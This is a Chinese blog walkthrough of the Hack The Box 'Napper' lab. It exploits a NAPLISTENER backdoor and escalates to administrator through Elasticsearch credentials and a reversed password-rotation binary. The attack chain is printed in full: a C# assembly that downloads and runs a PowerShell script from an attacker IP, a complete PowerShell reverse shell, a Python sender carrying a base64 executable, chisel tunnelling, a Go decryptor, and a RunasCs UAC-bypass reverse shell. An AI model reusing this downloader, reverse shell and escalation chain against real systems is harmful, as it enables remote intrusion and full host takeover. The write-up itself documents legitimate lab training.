HTB-Napper笔记

admin 2023年11月17日13:08:10评论171 views字数 12885阅读42分57秒阅读模式

HTB-Napper笔记

扫描靶机

nmap -sC -sV -T5 -Pn  10.10.11.240

HTB-Napper笔记

扫描出两个端口,还有个app.napper.htb的域名,也许还有其他域名,进行fuzz

wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "https://napper.htb" -H "Host: FUZZ.napper.htb" --hl 186

HTB-Napper笔记

fuzz出一个internal的字域名,将其加入到hosts,先看app.napper.htb

HTB-Napper笔记

简单的浏览一下,这个一个关于安全的研究网站,在Enabling Basic Authentication on IIS Using PowerShell: A Step-by-Step Guide的选项里,有一条关于新建密码的PS命令

HTB-Napper笔记

这是重点,然后打开internal.napper.htb这个域名

HTB-Napper笔记

可以看到是需要登陆,使用刚刚那条命令里面的默认密码跟用户名登陆

HTB-Napper笔记

HTB-Napper笔记

成功登陆进去了,进去INTERNAL Malware research notes选项,下面有三条连接

https://www.elastic.co/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph

https://malpedia.caad.fkie.fraunhofer.de/details/win.naplistener

https://www.darkreading.com/threat-intelligence/custom-naplistener-malware-network-based-detection-sleep

点击这三条链接,都是对NAPLISTENER的研究资料,包括如何运行,在这blog下面有一句话是

This means that any web request to /ews/MsExgHealthCheckd/ that contains a base64-encoded .NET assembly in the sdafwe3rwe23 parameter will be loaded and executed in memory. It's worth noting that the binary runs in a separate process and it is not associated with the running IIS server directly.

HTB-Napper笔记

HTB-Napper笔记

根据他的意思是猜测,应该是测试net程序的,所以可以将他打包成exe,然后以base64的形式发送,回到刚刚的靶机提供的链接,就已经提示给你了

HTB-Napper笔记

HTB-Napper笔记

HTB-Napper笔记

HTB-Napper笔记

根据连接的提示,在app.napper.htb抓包,然后修改包成POST请求,然后路径修改成/ews/MsExgHealthCheckd/,下面添加sdafwe3rwe23参数

HTB-Napper笔记

然后根据上面的逆向代码分析,就是一个if逻辑,上传,然后base64解码加运行,所以我们写一个cs程序,然后打包成exe,再编码base64,上传

shell.cs

using System;using System.Diagnostics;using System.Net;
namespace shell // <-- name file shell.cs{ public class Run { public Run() { var scriptUrl = "http://10.10.14.39/cxk.ps1";
using (WebClient webClient = new WebClient()) { // Download the PowerShell script from the URL string scriptContent = webClient.DownloadString(scriptUrl);
var processStartInfo = new ProcessStartInfo("powershell.exe") { // Pass the downloaded script content as a command Arguments = scriptContent, RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false, CreateNoWindow = true };
var process = new Process { StartInfo = processStartInfo };
process.Start();
} }
public static void Main(string[] args) {
} }}

cxk.ps1

do {    # Delay before establishing network connection, and between retries    Start-Sleep -Seconds 1
# Connect to C2 try{ $TCPClient = New-Object Net.Sockets.TCPClient('10.10.14.39', 443) } catch {}} until ($TCPClient.Connected)
$NetworkStream = $TCPClient.GetStream()$StreamWriter = New-Object IO.StreamWriter($NetworkStream)
# Writes a string to C2function WriteToStream ($String) { # Create buffer to be used for next network stream read. Size is determined by the TCP client recieve buffer (65536 by default) [byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0}
# Write to C2 $StreamWriter.Write($String + 'caixukun> ') $StreamWriter.Flush()}
# Initial output to C2. The function also creates the inital empty byte array buffer used below.WriteToStream ''
# Loop that breaks if NetworkStream.Read throws an exception - will happen if connection is closed.while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) { # Encode command, remove last byte/newline $Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1) # Execute command and save output (including errors thrown) $Output = try { Invoke-Expression $Command 2>&1 | Out-String } catch { $_ | Out-String }
# Write output to C2 WriteToStream ($Output)}# Closes the StreamWriter and the underlying TCPClient$StreamWriter.Close()

首先使用mcs打包,可以参考这篇文章,使用mono,

https://blog.didierstevens.com/2017/09/06/compiling-a-windows-service-with-mono-on-kali/

mcs -reference:System.ServiceProcess.dll shell.cs

HTB-Napper笔记

生成出来的exe,然后使用base64编码exe

base64 shell.exe

HTB-Napper笔记

其次它是编码exe的代码,不是名字本身,更换的重新生成exe,然后将其复制到burpsuite,然后发射

HTB-Napper笔记

HTB-Napper笔记

成功反弹shell,拿到user flag:

98fbb05456fd1c8eaae38a9f07359835

HTB-Napper笔记

HTB-Napper笔记

或者可以写一个python脚本,一键发送

rev.py

import requestsfrom urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)payload="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JAACAAEAUAByAG8AZAB1AGMAdABOAGEAbQBlAAAAAAAgAAAAKAACAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAwAAAAgNQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" 

hosts =["napper.htb"]form_field=f"sdafwe3rwe23={requests.utils.quote(payload)}"for h in hosts: url_ssl= f"https://{h}/ews/MsExgHealthCheckd/" try: r_ssl=requests.post(url_ssl,data=form_field,verify=False) print(f"{url_ssl} : {r_ssl.status_code}{r_ssl.headers}") except KeyboardInterrupt: exit() except Exception as e: print(e) pass

HTB-Napper笔记

拿到shell后,反弹一个msfconsole的会话,上传下载都方便

HTB-Napper笔记

进入C:Program Files发现了elasticsearch-8.8.0

HTB-Napper笔记

进去到C:Program Fileselasticsearch-8.8.0dataindicesn5Gtg7mtSVOUFiVHo9w-Nwindex这个路径发现两个cfs文件,type命令打开并使用findster

HTB-Napper笔记

type _o2.cfs | findstr pass

那些名字都是随机性的,成功拿到密码是oKHzjZw0EGcRxT2cux5K,用户名是elastic

HTB-Napper笔记

继续搜寻,在C:Tempwwwinternalcontentposts里面有两个md文件,读取一下

C:Tempwwwinternalcontentposts>type first-re-research.mdtype first-re-research.md---title: "**INTERNAL** Malware research notes"description: A collection of notes for the current research we might publish.date: 2023-04-22draft: false tags: [re, .NET, malware] ---
# Introduction
| Meta | Data| | --- | --- || Analyst | Ruben || Status | Initial analysis || Initial find | External Report |

The malware is a .NET sample. We are tracking the malware fond by Elastic who named it NAPLISTENER.
# What we know so far:
So it is a backdoor:
```txt[...] HTTP listener written in C#, which we refer to as NAPLISTENER. Consistent with SIESTAGRAPH and other malware families developed or used by this threat, NAPLISTENER appears designed to evade network-based forms of detection. [...]```
In the sanbox I can't find the URL.
```txtThis means that any web request to /ews/MsExgHealthCheckd/ that contains a base64-encoded .NET assembly in the sdafwe3rwe23 parameter will be loaded and executed in memory. It's worth noting that the binary runs in a separate process and it is not associated with the running IIS server directly.````
Currently we are not sure on how to proceed.

# Log
* 2023-04-24: Did some more reading up. We need to look for some URL and a special parameter* 2023-04-23: Starting the RE process. Not sure on how to approach. * 2023-04-22: Nothing seems to be showing up in the sandbox, i just startes and stops again. Will be testing local* 2023-04-22: Got the copy of the backdoor, running in sandbox


# Refrences
* https://www.elastic.co/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph* https://malpedia.caad.fkie.fraunhofer.de/details/win.naplistener* https://www.darkreading.com/threat-intelligence/custom-naplistener-malware-network-based-detection-sleep

C:Tempwwwinternalcontentposts>

HTB-Napper笔记

C:Tempwwwinternalcontentposts>type no-more-laps.mdtype no-more-laps.md---title: "**INTERNAL** Getting rid of LAPS"description: Replacing LAPS with out own custom solutiondate: 2023-07-01draft: true tags: [internal, sysadmin] ---
# Intro
We are getting rid of LAPS in favor of our own custom solution. The password for the `backup` user will be stored in the local Elastic DB.
IT will deploy the decryption client to the admin desktops once it it ready.
We do expect the development to be ready soon. The Malware RE team will be the first test group.
C:Tempwwwinternalcontentposts>

HTB-Napper笔记

从上面往下看,可以看到自己的laps,猜测是用Elastic运维,并且在internal-laps-alpha看到两个文件,一个exe一个.env

HTB-Napper笔记

打开.env的内容,有个9200端口

HTB-Napper笔记

先将a.exe文件下载到本地,这次使用了msfconsole

HTB-Napper笔记

出现这种情况就更改断线时间就行

HTB-Napper笔记

先将刚刚env看到的端口转发出来,使用chisel

chisel server --reverse --port 1118.chisel client 10.10.14.39:1118 R:9200:127.0.0.1:9200

HTB-Napper笔记

成功代理,然后打开浏览器,访问本地9200端口

HTB-Napper笔记

输入刚刚在cfs拿到的用户跟密码

HTB-Napper笔记

可以参考这篇文章,可以看到seed跟user-00001

https://book.hacktricks.xyz/network-services-pentesting/9200-pentesting-elasticsearch

HTB-Napper笔记

HTB-Napper笔记

然后检查这两个的索引

HTB-Napper笔记

HTB-Napper笔记

先记下,然后逆向一下刚刚下载的a.exe,用ghraid

HTB-Napper笔记

分析代码,是seed和加密的blob参数在ES中,调用了cmd.exe程序使用net命令修改backup用户密码

HTB-Napper笔记

往下拉有个genkey的函数,跟main.main上面的内容关联,以seed参数作参照,key的生成数量随机+1

HTB-Napper笔记

底下有个main.encrypt,这是加密参数,对AES,用的base64

HTB-Napper笔记

结合上面的分析,需要对应ES的数据,也就是seed跟user-00001的base64,将其解密,得到backup用户最新密码,而且他是随机性的,写个go程序破解

go run cxk.go 55645459 nSbi9PAYJr9WSAxuQe5sq3jm8odJFQd_cb6ZCeYWEFj5PVUHCY2PWbIxctw8oaUCX8SfHNM0q-w=

HTB-Napper笔记

然后上传RunasCs.exe,进行uac绕过,反弹,记得动作要快,seed跟blob是会变化的

.RunasCs.exe backup BozRKbVkeMiNkNnotJWywpSNgwMEgHMoJkHacYns cmd.exe -r 10.10.14.39:443 --bypass-uac

HTB-Napper笔记

HTB-Napper笔记

成功拿到root flag:d1c799957c042948be3b3974a98c5c2b,backup用户跟admin是同一组

cxk.go

package main
import ( "crypto/aes" "crypto/cipher" "encoding/base64" "fmt" "log" "math/rand" "os" "strconv")
func checkErr(err error) { if err != nil { log.Fatal(err) }}
func genKey(seed int) (key []byte) { rand.Seed(int64(seed)) for i := 0; i < 0x10; i++ { val := rand.Intn(0xfe) key = append(key, byte(val+1)) } return}
func decrypt(seed int, enc []byte) (data []byte) { fmt.Printf("Seed: %vn", seed) key := genKey(seed) fmt.Printf("Key: %vn", key) iv := enc[:aes.BlockSize] fmt.Printf("IV: %vn", iv) data = enc[aes.BlockSize:]
block, err := aes.NewCipher(key) checkErr(err)
stream := cipher.NewCFBDecrypter(block, iv) stream.XORKeyStream(data, data) fmt.Printf("Plaintext: %sn", data) return}
func main() { if len(os.Args) != 3 { return } seed, err := strconv.Atoi(os.Args[1]) checkErr(err) enc, err := base64.URLEncoding.DecodeString(os.Args[2]) checkErr(err)
decrypt(seed, enc)}

getshell之前可以查看backup用户

.RunasCs.exe backup dsIUMSAlEkjJDYXKeGHEfBwXeYieezlpgodWZKti "cmd /c whoami /all"

HTB-Napper笔记

HTB-Napper笔记


原文始发于微信公众号(Jiyou too beautiful):HTB-Napper笔记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月17日13:08:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB-Napper笔记https://cn-sec.com/archives/2216213.html

发表评论

匿名网友 填写信息